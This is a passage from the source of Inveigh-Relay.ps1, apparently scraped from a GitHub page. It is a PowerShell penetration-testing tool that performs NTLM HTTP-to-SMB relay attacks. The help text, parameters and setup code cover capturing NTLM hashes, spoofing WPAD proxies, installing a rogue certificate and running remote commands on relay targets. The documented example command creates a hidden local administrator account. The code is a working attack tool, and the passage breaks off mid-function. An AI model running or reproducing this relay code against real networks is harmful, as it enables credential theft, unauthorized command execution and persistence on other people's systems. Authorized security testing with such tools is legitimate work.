-
Notifications
You must be signed in to change notification settings - Fork 439
/
Inveigh-Relay.ps1
7926 lines (6500 loc) · 341 KB
/
Inveigh-Relay.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
function Invoke-InveighRelay
{
<#
.SYNOPSIS
This function performs NTLMv1/NTLMv2 HTTP to SMB relay.
.DESCRIPTION
This function performs NTLMv1/NTLMv2 HTTP to SMB relay.
.PARAMETER Attack
Default = Enumerate,Session: (Enumerate/Execute/Session) Comma seperated list of attacks to perform with relay. Enumerate
leverages relay to perform enumeration on target systems. The collected data is used for target selection.
Execute performs PSExec style command execution. Session creates and maintains authenticated SMB sessions that
can be interacted with through Invoke-TheHash's Invoke-SMBClient, Invoke-SMBEnum, and Invoke-SMBExec.
.PARAMETER Challenge
Default = Random: 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a random
challenge will be generated for each request. Note that during SMB relay attempts, the challenge will be
pulled from the SMB relay target.
.PARAMETER Command
Command to execute on SMB relay target. Use PowerShell character escapes where necessary.
.PARAMETER ConsoleOutput
Default = Disabled: (Low/Medium/Y/N) Enable/Disable real time console output. If using this option through a
shell, test to ensure that it doesn't hang the shell. Medium and Low can be used to reduce output.
.PARAMETER ConsoleQueueLimit
Default = Unlimited: Maximum number of queued up console log entries when not using the real time console.
.PARAMETER ConsoleStatus
(Integer) Interval in minutes for displaying all unique captured hashes and credentials. This is useful for
displaying full capture lists when running through a shell that does not have access to the support functions.
.PARAMETER ConsoleUnique
Default = Enabled: (Y/N) Enable/Disable displaying challenge/response hashes for only unique IP, domain/hostname,
and username combinations when real time console output is enabled.
.PARAMETER DomainMapping
Array to map one netBIOS domain to one DNS domain. Needed when attacking a domain from a non-domain
attached system with data imported from BloodHound.
.PARAMETER Enumerate
Default = All: (All/Group/NetSession/Share/User) The action that will be used for the 'Enumerate' attack.
.PARAMETER EnumerateGroup
Default = Administrators: The group that will be enumerated with the 'Enumerate' attack. Note that only the
'Administrators' group will be used for targeting decisions.
.PARAMETER FailedLoginStrict
Default = Disabled: If disabled, login attempts against non-domain attached will not count as failed logins. If enabled, all
failed logins will count.
.PARAMETER FailedLoginThreshold
Default = 2: The threshold for failed logins. Once failed logins for a user exceed the threshold, further relay attempts for that
user will be stopped.
.PARAMETER FileOutput
Default = Disabled: (Y/N) Enable/Disable real time file output.
.PARAMETER FileOutputDirectory
Default = Working Directory: Valid path to an output directory for log and capture files. FileOutput must also be
enabled.
.PARAMETER HTTP
Default = Enabled: (Y/N) Enable/Disable HTTP challenge/response capture.
.PARAMETER HTTPIP
Default = Any: IP address for the HTTP/HTTPS listener.
.PARAMETER HTTPPort
Default = 80: TCP port for the HTTP listener.
.PARAMETER HTTPS
Default = Disabled: (Y/N) Enable/Disable HTTPS challenge/response capture. Warning, a cert will be installed in
the local store. If the script does not exit gracefully, manually remove the certificate. This feature requires
local administrator access.
.PARAMETER HTTPSPort
Default = 443: TCP port for the HTTPS listener.
.PARAMETER HTTPSCertIssuer
Default = Inveigh: The issuer field for the cert that will be installed for HTTPS.
.PARAMETER HTTPSCertSubject
Default = localhost: The subject field for the cert that will be installed for HTTPS.
.PARAMETER HTTPSForceCertDelete
Default = Disabled: (Y/N) Force deletion of an existing certificate that matches HTTPSCertIssuer and
HTTPSCertSubject.
.PARAMETER LogOutput
Default = Enabled: (Y/N) Enable/Disable storing log messages in memory.
.PARAMETER MachineAccounts
Default = Disabled: (Y/N) Enable/Disable showing NTLM challenge/response captures from machine accounts.
.PARAMETER OutputStreamOnly
Default = Disabled: Enable/Disable forcing all output to the standard output stream. This can be helpful if
running Inveigh Relay through a shell that does not return other output streams. Note that you will not see the
various yellow warning messages if enabled.
.PARAMETER ProxyIP
Default = Any: IP address for the proxy listener.
.PARAMETER ProxyPort
Default = 8492: TCP port for the proxy listener.
.PARAMETER ProxyIgnore
Default = Firefox: Comma separated list of keywords to use for filtering browser user agents. Matching browsers
will not be sent the wpad.dat file used for capturing proxy authentications. Firefox does not work correctly
with the proxy server failover setup. Firefox will be left unable to connect to any sites until the proxy is
cleared. Remove "Firefox" from this list to attack Firefox. If attacking Firefox, consider setting
-SpooferRepeat N to limit attacks against a single target so that victims can recover Firefox connectivity by
closing and reopening.
.PARAMETER RelayAutoDisable
Default = Enable: (Y/N) Enable/Disable automatically disabling SMB relay after a successful command execution on
target.
.PARAMETER RelayAutoExit
Default = Enable: (Y/N) Enable/Disable automatically exiting after a relay is disabled due to success or error.
.PARAMETER RepeatEnumerate
Default = 30 Minutes: The minimum number of minutes to wait between enumeration attempts for a target.
.PARAMETER RepeatExecute
Default = 30 Minutes: The minimum number of minutes to wait between command execution attempts for a target.
.PARAMETER RunTime
(Integer) Run time duration in minutes.
.PARAMETER Service
Default = 20 Character Random: Name of the service to create and delete on the target.
.PARAMETER SessionLimitPriv
Default = 2: Limit of privileged sessions on a target.
.PARAMETER SessionLimitShare
Default = 2: Limit of sessions per user for targets hosting custom shares.
.PARAMETER SessionLimitUnpriv
Default = 0: Limit of unprivileged sessions on a target.
.PARAMETER SessionRefresh
Default = 10 Minutes: The number of minutes between refreshes to keep sessions from timing out.
.PARAMETER ShowHelp
Default = Enabled: (Y/N) Enable/Disable the help messages at startup.
.PARAMETER StartupChecks
Default = Enabled: (Y/N) Enable/Disable checks for in use ports and running services on startup.
.PARAMETER StatusOutput
Default = Enabled: (Y/N) Enable/Disable startup and shutdown messages.
.PARAMETER Target
Comma separated list of IP addresses to target for relay. This parameter will accept single addresses, CIDR, or
ranges on the format of 192.168.0.1-192.168.0.10 or 192.168.0.1-10. Avoid using large ranges with lots of unused
IP addresses or systems not running SMB. Inveigh-Relay will do quick port checks as part of target selection and
filter out invalid targets. Something like a /16 with only a few hosts isn't really practical though.
.PARAMETER TargetExclude
Comma separated list of IP addresses to exlude from the target list. This parameter will accept the same formats as
the 'Target' parameter.
.PARAMETER TargetMode
Default = Random: (Random/Strict) 'Random' target mode will fall back to selecting a random target is a match
isn't found through enumerated data. 'Strict' will only select targets through enumerated data. Note that
'Strict' requires either previously collected data from the 'Enumerate' attack or data imported from
BloodHound.
.PARAMETER TargetRandom
Default = Enabled: (Y/N) Enable/Disable selecting a random target if a target is not found through logic.
.PARAMETER TargetRefresh
Default = 60 Minutes: Number of minutes to wait before rechecking a target for eligibility.
.PARAMETER Tool
Default = 0: (0/1/2) Enable/Disable features for better operation through external tools such as Meterpreter's
PowerShell extension, Metasploit's Interactive PowerShell Sessions payloads and Empire.
0 = None, 1 = Metasploit/Meterpreter, 2 = Empire
.PARAMETER Username
Default = All Usernames: Comma separated list of usernames to use for relay attacks. Accepts both username and
domain\username format.
.PARAMETER WPADAuth
Default = NTLM: (Anonymous/NTLM) HTTP/HTTPS server authentication type for wpad.dat requests. Setting to
Anonymous can prevent browser login prompts.
.PARAMETER WPADAuthIgnore
Default = Firefox: Comma separated list of keywords to use for filtering browser user agents. Matching browsers
will be skipped for NTLM authentication. This can be used to filter out browsers like Firefox that display login
popups for authenticated wpad.dat requests such as Firefox.
.EXAMPLE
Invoke-Inveigh -HTTP N
Invoke-InveighRelay -Target 192.168.2.55 -Command "net user Inveigh Spring2017 /add && net localgroup administrators Inveigh /add"
.LINK
https://github.com/Kevin-Robertson/Inveigh
#>
#region begin parameters
# Parameter default values can be modified in this section:
[CmdletBinding()]
param
(
[parameter(Mandatory=$false)][ValidateSet("Enumerate","Session","Execute")][Array]$Attack = ("Enumerate","Session"),
[parameter(Mandatory=$false)][ValidateSet("All","NetSession","Share","User","Group")][String]$Enumerate = "All",
[parameter(Mandatory=$false)][ValidateSet("Random","Strict")][String]$TargetMode = "Random",
[parameter(Mandatory=$false)][String]$EnumerateGroup = "Administrators",
[parameter(Mandatory=$false)][Array]$DomainMapping = "",
[parameter(Mandatory=$false)][Array]$Target = "",
[parameter(Mandatory=$false)][Array]$TargetExclude = "",
[parameter(Mandatory=$false)][Array]$ProxyIgnore = "Firefox",
[parameter(Mandatory=$false)][Array]$Username = "",
[parameter(Mandatory=$false)][Array]$WPADAuthIgnore = "",
[parameter(Mandatory=$false)][Int]$ConsoleQueueLimit = "-1",
[parameter(Mandatory=$false)][Int]$ConsoleStatus = "",
[parameter(Mandatory=$false)][Int]$FailedLoginThreshold = "2",
[parameter(Mandatory=$false)][Int]$HTTPPort = "80",
[parameter(Mandatory=$false)][Int]$HTTPSPort = "443",
[parameter(Mandatory=$false)][Int]$ProxyPort = "8492",
[parameter(Mandatory=$false)][Int]$RunTime = "",
[parameter(Mandatory=$false)][Int]$SessionLimitPriv = "2",
[parameter(Mandatory=$false)][Int]$SessionLimitShare = "2",
[parameter(Mandatory=$false)][Int]$SessionLimitUnpriv = "0",
[parameter(Mandatory=$false)][Int]$SessionRefresh = "10",
[parameter(Mandatory=$false)][Int]$TargetRefresh = "60",
[parameter(Mandatory=$false)][Int]$RepeatEnumerate = "30",
[parameter(Mandatory=$false)][Int]$RepeatExecute = "30",
[parameter(Mandatory=$false)][String]$Command = "",
[parameter(Mandatory=$false)][String]$HTTPSCertIssuer = "Inveigh",
[parameter(Mandatory=$false)][String]$HTTPSCertSubject = "localhost",
[parameter(Mandatory=$false)][String]$Service,
[parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ConsoleUnique = "Y",
[parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$FailedLoginStrict = "N",
[parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$FileOutput = "N",
[parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$FileUnique = "Y",
[parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTP = "Y",
[parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTPS = "N",
[parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTPSForceCertDelete = "N",
[parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$LogOutput = "Y",
[parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$MachineAccounts = "N",
[parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$OutputStreamOnly = "N",
[parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$Proxy = "N",
[parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$RelayAutoDisable = "Y",
[parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$RelayAutoExit = "Y",
[parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$SessionPriority = "Y",
[parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ShowHelp = "Y",
[parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$StartupChecks = "Y",
[parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$StatusOutput = "Y",
[parameter(Mandatory=$false)][ValidateSet("Y","N","Low","Medium")][String]$ConsoleOutput = "N",
[parameter(Mandatory=$false)][ValidateSet("0","1","2")][String]$Tool = "0",
[parameter(Mandatory=$false)][ValidateSet("Anonymous","NTLM")][String]$WPADAuth = "NTLM",
[parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$FileOutputDirectory = "",
[parameter(Mandatory=$false)][ValidatePattern('^[A-Fa-f0-9]{16}$')][String]$Challenge = "",
[parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$HTTPIP = "0.0.0.0",
[parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$ProxyIP = "0.0.0.0",
[parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
)
#endregion
#region begin initialization
if ($invalid_parameter)
{
Write-Output "[-] $($invalid_parameter) is not a valid parameter."
throw
}
if($inveigh.relay_running)
{
Write-Output "[-] Inveigh Relay is already running"
throw
}
$inveigh_version = "1.501"
if(!$target -and !$inveigh.enumerate)
{
Write-Output "[-] No enumerated target data, specify targets with -Target"
throw
}
if($ProxyIP -eq '0.0.0.0')
{
try
{
$proxy_WPAD_IP = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address)
}
catch
{
Write-Output "[-] Error finding proxy IP, specify manually with -ProxyIP"
throw
}
}
if($Attack -contains 'Execute' -and !$Command)
{
Write-Output "[-] -Command required with -Attack Execute"
throw
}
if($DomainMapping)
{
if($DomainMapping.Count -ne 2 -or $DomainMapping[0] -like "*.*" -or $DomainMapping[1] -notlike "*.*")
{
Write-Output "[-] -DomainMapping format is incorrect"
throw
}
}
if(!$FileOutputDirectory)
{
$output_directory = $PWD.Path
}
else
{
$output_directory = $FileOutputDirectory
}
if(!$inveigh)
{
$global:inveigh = [HashTable]::Synchronized(@{})
$inveigh.cleartext_list = New-Object System.Collections.ArrayList
$inveigh.enumerate = New-Object System.Collections.ArrayList
$inveigh.IP_capture_list = New-Object System.Collections.ArrayList
$inveigh.log = New-Object System.Collections.ArrayList
$inveigh.kerberos_TGT_list = New-Object System.Collections.ArrayList
$inveigh.kerberos_TGT_username_list = New-Object System.Collections.ArrayList
$inveigh.NTLMv1_list = New-Object System.Collections.ArrayList
$inveigh.NTLMv1_username_list = New-Object System.Collections.ArrayList
$inveigh.NTLMv2_list = New-Object System.Collections.ArrayList
$inveigh.NTLMv2_username_list = New-Object System.Collections.ArrayList
$inveigh.POST_request_list = New-Object System.Collections.ArrayList
$inveigh.valid_host_list = New-Object System.Collections.ArrayList
$inveigh.ADIDNS_table = [HashTable]::Synchronized(@{})
$inveigh.relay_privilege_table = [HashTable]::Synchronized(@{})
$inveigh.relay_failed_login_table = [HashTable]::Synchronized(@{})
$inveigh.relay_history_table = [HashTable]::Synchronized(@{})
$inveigh.request_table = [HashTable]::Synchronized(@{})
$inveigh.session_socket_table = [HashTable]::Synchronized(@{})
$inveigh.session_table = [HashTable]::Synchronized(@{})
$inveigh.session_message_ID_table = [HashTable]::Synchronized(@{})
$inveigh.session_lock_table = [HashTable]::Synchronized(@{})
$inveigh.SMB_session_table = [HashTable]::Synchronized(@{})
$inveigh.domain_mapping_table = [HashTable]::Synchronized(@{})
$inveigh.group_table = [HashTable]::Synchronized(@{})
$inveigh.session_count = 0
$inveigh.session = @()
}
$inveigh.stop = $false
if(!$inveigh.running)
{
$inveigh.cleartext_file_queue = New-Object System.Collections.ArrayList
$inveigh.console_queue = New-Object System.Collections.ArrayList
$inveigh.log_file_queue = New-Object System.Collections.ArrayList
$inveigh.NTLMv1_file_queue = New-Object System.Collections.ArrayList
$inveigh.NTLMv2_file_queue = New-Object System.Collections.ArrayList
$inveigh.output_queue = New-Object System.Collections.ArrayList
$inveigh.POST_request_file_queue = New-Object System.Collections.ArrayList
$inveigh.HTTP_session_table = [HashTable]::Synchronized(@{})
$inveigh.console_input = $true
$inveigh.console_output = $false
$inveigh.file_output = $false
$inveigh.HTTPS_existing_certificate = $false
$inveigh.HTTPS_force_certificate_delete = $false
$inveigh.log_output = $true
$inveigh.cleartext_out_file = $output_directory + "\Inveigh-Cleartext.txt"
$inveigh.log_out_file = $output_directory + "\Inveigh-Log.txt"
$inveigh.NTLMv1_out_file = $output_directory + "\Inveigh-NTLMv1.txt"
$inveigh.NTLMv2_out_file = $output_directory + "\Inveigh-NTLMv2.txt"
$inveigh.POST_request_out_file = $output_directory + "\Inveigh-FormInput.txt"
}
if($StartupChecks -eq 'Y')
{
$firewall_status = netsh advfirewall show allprofiles state | Where-Object {$_ -match 'ON'}
if($HTTP -eq 'Y')
{
$HTTP_port_check = netstat -anp TCP | findstr LISTENING | findstr /C:"$HTTPIP`:$HTTPPort "
}
if($HTTPS -eq 'Y')
{
$HTTPS_port_check = netstat -anp TCP | findstr LISTENING | findstr /C:"$HTTPIP`:$HTTPSPort "
}
if($Proxy -eq 'Y')
{
$proxy_port_check = netstat -anp TCP | findstr LISTENING | findstr /C:"$HTTPIP`:$ProxyPort "
}
}
$inveigh.relay_running = $true
$inveigh.SMB_relay = $true
if($StatusOutput -eq 'Y')
{
$inveigh.status_output = $true
}
else
{
$inveigh.status_output = $false
}
if($OutputStreamOnly -eq 'Y')
{
$inveigh.output_stream_only = $true
}
else
{
$inveigh.output_stream_only = $false
}
if($Tool -eq 1) # Metasploit Interactive PowerShell Payloads and Meterpreter's PowerShell Extension
{
$inveigh.tool = 1
$inveigh.output_stream_only = $true
$inveigh.newline = $null
$ConsoleOutput = "N"
}
elseif($Tool -eq 2) # PowerShell Empire
{
$inveigh.tool = 2
$inveigh.output_stream_only = $true
$inveigh.console_input = $false
$inveigh.newline = $null
$LogOutput = "N"
$ShowHelp = "N"
switch ($ConsoleOutput)
{
'Low'
{
$ConsoleOutput = "Low"
}
'Medium'
{
$ConsoleOutput = "Medium"
}
default
{
$ConsoleOutput = "Y"
}
}
}
else
{
$inveigh.tool = 0
$inveigh.newline = $null
}
#endregion
#region begin startup messages
$inveigh.output_queue.Add("[*] Inveigh Relay $inveigh_version started at $(Get-Date -format s)") > $null
if($firewall_status)
{
$inveigh.output_queue.Add("[!] Windows Firewall = Enabled") > $null
}
if($HTTP -eq 'Y')
{
if($HTTP_port_check)
{
$HTTP = "N"
$inveigh.output_queue.Add("[-] HTTP Capture/Relay Disabled Due To In Use Port $HTTPPort") > $null
}
else
{
$inveigh.output_queue.Add("[+] HTTP Capture/Relay = Enabled") > $null
if($HTTPIP)
{
$inveigh.output_queue.Add("[+] HTTP IP Address = $HTTPIP") > $null
}
if($HTTPPort -ne 80)
{
$inveigh.output_queue.Add("[+] HTTP Port = $HTTPPort") > $null
}
}
}
else
{
$inveigh.output_queue.Add("[+] HTTP Capture/Relay = Disabled") > $null
}
if($HTTPS -eq 'Y')
{
if($HTTPS_port_check)
{
$HTTPS = "N"
$inveigh.HTTPS = $false
$inveigh.output_queue.Add("[-] HTTPS Capture/Relay Disabled Due To In Use Port $HTTPSPort") > $null
}
else
{
try
{
$inveigh.certificate_issuer = $HTTPSCertIssuer
$inveigh.certificate_CN = $HTTPSCertSubject
$inveigh.output_queue.Add("[+] HTTPS Certificate Issuer = " + $inveigh.certificate_issuer) > $null
$inveigh.output_queue.Add("[+] HTTPS Certificate CN = " + $inveigh.certificate_CN) > $null
$certificate_check = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Issuer -match $inveigh.certificate_issuer})
if(!$certificate_check)
{
# credit to subTee for cert creation code from Interceptor
$certificate_distinguished_name = new-object -com "X509Enrollment.CX500DistinguishedName"
$certificate_distinguished_name.Encode( "CN=" + $inveigh.certificate_CN, $certificate_distinguished_name.X500NameFlags.X500NameFlags.XCN_CERT_NAME_STR_NONE)
$certificate_issuer_distinguished_name = new-object -com "X509Enrollment.CX500DistinguishedName"
$certificate_issuer_distinguished_name.Encode("CN=" + $inveigh.certificate_issuer, $certificate_distinguished_name.X500NameFlags.X500NameFlags.XCN_CERT_NAME_STR_NONE)
$certificate_key = new-object -com "X509Enrollment.CX509PrivateKey"
$certificate_key.ProviderName = "Microsoft Enhanced RSA and AES Cryptographic Provider"
$certificate_key.KeySpec = 2
$certificate_key.Length = 2048
$certificate_key.MachineContext = 1
$certificate_key.Create()
$certificate_server_auth_OID = new-object -com "X509Enrollment.CObjectId"
$certificate_server_auth_OID.InitializeFromValue("1.3.6.1.5.5.7.3.1")
$certificate_enhanced_key_usage_OID = new-object -com "X509Enrollment.CObjectIds.1"
$certificate_enhanced_key_usage_OID.add($certificate_server_auth_OID)
$certificate_enhanced_key_usage_extension = new-object -com "X509Enrollment.CX509ExtensionEnhancedKeyUsage"
$certificate_enhanced_key_usage_extension.InitializeEncode($certificate_enhanced_key_usage_OID)
$certificate = new-object -com "X509Enrollment.CX509CertificateRequestCertificate"
$certificate.InitializeFromPrivateKey(2,$certificate_key,"")
$certificate.Subject = $certificate_distinguished_name
$certificate.Issuer = $certificate_issuer_distinguished_name
$certificate.NotBefore = (get-date).AddDays(-271)
$certificate.NotAfter = $certificate.NotBefore.AddDays(824)
$certificate_hash_algorithm_OID = New-Object -ComObject X509Enrollment.CObjectId
$certificate_hash_algorithm_OID.InitializeFromAlgorithmName(1,0,0,"SHA256")
$certificate.HashAlgorithm = $certificate_hash_algorithm_OID
$certificate.X509Extensions.Add($certificate_enhanced_key_usage_extension)
$certificate_basic_constraints = new-object -com "X509Enrollment.CX509ExtensionBasicConstraints"
$certificate_basic_constraints.InitializeEncode("true",1)
$certificate.X509Extensions.Add($certificate_basic_constraints)
$certificate.Encode()
$certificate_enrollment = new-object -com "X509Enrollment.CX509Enrollment"
$certificate_enrollment.InitializeFromRequest($certificate)
$certificate_data = $certificate_enrollment.CreateRequest(0)
$certificate_enrollment.InstallResponse(2,$certificate_data,0,"")
$inveigh.certificate = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Issuer -match $inveigh.certificate_issuer})
$inveigh.HTTPS = $true
$inveigh.output_queue.Add("[+] HTTPS Capture/Relay = Enabled") > $null
}
else
{
if($HTTPSForceCertDelete -eq 'Y')
{
$inveigh.HTTPS_force_certificate_delete = $true
}
$inveigh.HTTPS_existing_certificate = $true
$inveigh.output_queue.Add("[+] HTTPS Capture = Using Existing Certificate") > $null
}
}
catch
{
$HTTPS = "N"
$inveigh.HTTPS = $false
$inveigh.output_queue.Add("[-] HTTPS Capture/Relay Disabled Due To Certificate Error") > $null
}
}
}
else
{
$inveigh.output_queue.Add("[+] HTTPS Capture/Relay = Disabled") > $null
}
if($HTTP -eq 'Y' -or $HTTPS -eq 'Y')
{
if($Challenge)
{
$inveigh.output_queue.Add("[+] HTTP NTLM Challenge = $Challenge") > $null
}
if($MachineAccounts -eq 'N')
{
$inveigh.output_queue.Add("[+] Machine Account Capture = Disabled") > $null
$inveigh.machine_accounts = $false
}
else
{
$inveigh.machine_accounts = $true
}
$inveigh.output_queue.Add("[+] WPAD Authentication = $WPADAuth") > $null
if($WPADAuth -eq "NTLM")
{
$WPADAuthIgnore = ($WPADAuthIgnore | Where-Object {$_ -and $_.Trim()})
if($WPADAuthIgnore.Count -gt 0)
{
$inveigh.output_queue.Add("[+] WPAD NTLM Authentication Ignore List = " + ($WPADAuthIgnore -join ",")) > $null
}
}
}
if($Proxy -eq 'Y')
{
if($proxy_port_check)
{
$HTTP = "N"
$inveigh.output_queue.Add("[+] Proxy Capture/Relay Disabled Due To In Use Port $ProxyPort") > $null
}
else
{
$inveigh.output_queue.Add("[+] Proxy Capture/Relay = Enabled") > $null
$inveigh.output_queue.Add("[+] Proxy Port = $ProxyPort") > $null
$ProxyPortFailover = $ProxyPort + 1
$WPADResponse = "function FindProxyForURL(url,host){return `"PROXY $proxy_WPAD_IP`:$ProxyPort; PROXY $proxy_WPAD_IP`:$ProxyPortFailover; DIRECT`";}"
$ProxyIgnore = ($ProxyIgnore | Where-Object {$_ -and $_.Trim()})
if($ProxyIgnore.Count -gt 0)
{
$inveigh.output_queue.Add("[+] Proxy Ignore List = " + ($ProxyIgnore -join ",")) > $null
}
}
}
if($DomainMapping)
{
$inveigh.output_queue.Add("[+] Domain Mapping = " + ($DomainMapping -join ",")) > $null
$inveigh.netBIOS_domain = $DomainMapping[0]
$inveigh.DNS_domain = $DomainMapping[1]
}
$inveigh.output_queue.Add("[+] Relay Attack = " + ($Attack -join ",")) > $null
# math taken from https://gallery.technet.microsoft.com/scriptcenter/List-the-IP-addresses-in-a-60c5bb6b
function Convert-RangetoIPList
{
param($IP,$CIDR,$Start,$End)
function Convert-IPtoINT64
{
param($IP)
$octets = $IP.split(".")
return [int64]([int64]$octets[0] * 16777216 + [int64]$octets[1]*65536 + [int64]$octets[2] * 256 + [int64]$octets[3])
}
function Convert-INT64toIP
{
param ([int64]$int)
return (([math]::truncate($int/16777216)).tostring() + "." +([math]::truncate(($int%16777216)/65536)).tostring() + "." + ([math]::truncate(($int%65536)/256)).tostring() + "." +([math]::truncate($int%256)).tostring())
}
$target_list = New-Object System.Collections.ArrayList
if($IP)
{
$IP_address = [System.Net.IPAddress]::Parse($IP)
}
if($CIDR)
{
$mask_address = [System.Net.IPAddress]::Parse((Convert-INT64toIP -int ([convert]::ToInt64(("1" * $CIDR + "0" * (32 - $CIDR)),2))))
}
if($IP)
{
$network_address = New-Object System.Net.IPAddress ($mask_address.address -band $IP_address.address)
}
if($IP)
{
$broadcast_address = New-Object System.Net.IPAddress (([System.Net.IPAddress]::parse("255.255.255.255").address -bxor $mask_address.address -bor $network_address.address))
}
if($IP)
{
$start_address = Convert-IPtoINT64 -ip $network_address.IPAddressToString
$end_address = Convert-IPtoINT64 -ip $broadcast_address.IPAddressToString
}
else
{
$start_address = Convert-IPtoINT64 -ip $start
$end_address = Convert-IPtoINT64 -ip $end
}
for($i = $start_address; $i -le $end_address; $i++)
{
$IP_address = Convert-INT64toIP -int $i
$target_list.Add($IP_address) > $null
}
if($network_address)
{
$target_list.Remove($network_address.IPAddressToString)
}
if($broadcast_address)
{
$target_list.Remove($broadcast_address.IPAddressToString)
}
return $target_list
}
function Get-TargetList
{
param($targets)
$target_list = New-Object System.Collections.ArrayList
for($i=0;$i -lt $targets.Count;$i++)
{
if($targets[$i] -like "*-*")
{
$target_array = $targets[$i].split("-")
if($target_array[0] -match "\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b" -and
$target_array[1] -notmatch "\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b")
{
if($target_array.Count -ne 2 -or $target_array[1] -notmatch "^[\d]+$" -or $target_array[1] -gt 254)
{
Write-Output "[!] Invalid target $($target[$i])"
throw
}
else
{
$IP_network_begin = $target_array[0].ToCharArray()
[Array]::Reverse($IP_network_begin)
$IP_network_begin = -join($IP_network_begin)
$IP_network_begin = $IP_network_begin.SubString($IP_network_begin.IndexOf("."))
$IP_network_begin = $IP_network_begin.ToCharArray()
[Array]::Reverse($IP_network_begin)
$IP_network_begin = -join($IP_network_begin)
